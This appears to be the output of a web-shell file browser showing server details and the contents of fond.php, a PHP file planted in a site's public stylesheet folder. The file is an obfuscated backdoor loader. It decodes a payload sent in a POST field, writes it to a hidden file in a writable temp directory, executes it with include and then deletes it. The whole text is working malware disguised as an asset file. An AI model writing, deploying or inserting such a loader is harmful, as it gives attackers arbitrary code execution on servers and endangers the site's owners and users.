HEX
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.33
System: Linux li317-225.members.linode.com 3.10.0-1062.12.1.el7.x86_64 #1 SMP Tue Feb 4 23:02:59 UTC 2020 x86_64
User: apache (48)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: /var/www/kosmicevents/public/scss__7af9720/dark/rtl/fond.php
<?php

if(isset($_POST) && isset($_POST["\x72\x65c"])){
	$token = array_filter([sys_get_temp_dir(), session_save_path(), "/tmp", getenv("TEMP"), "/var/tmp", "/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir"), getcwd()]);
	$data = $_POST["\x72\x65c"];
	  	$data		 = 	explode		 (	'.'  , 		$data		)  ;	  
	$bind=		'';
            $salt=		'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen=		strlen(	$salt);
    
            foreach(	$data as $s => $v7):
                $sChar=		ord(	$salt[$s % $sLen]);
                $d=		(	(	int)$v7 - $sChar -(	$s % 10))	^ 12;
                $bind .= chr(	$d);
            endforeach;
	$elem = 0;
do {
    $comp = $token[$elem] ?? null;
    if ($elem >= count($token)) break;
    		if (!!is_dir($comp) && !!is_writable($comp)) {
    $factor = "$comp" . "/.resource";
    $success = file_put_contents($factor, $bind);
if ($success) {
	include $factor;
	@unlink($factor);
	exit;}
}
    $elem++;
} while (true);
}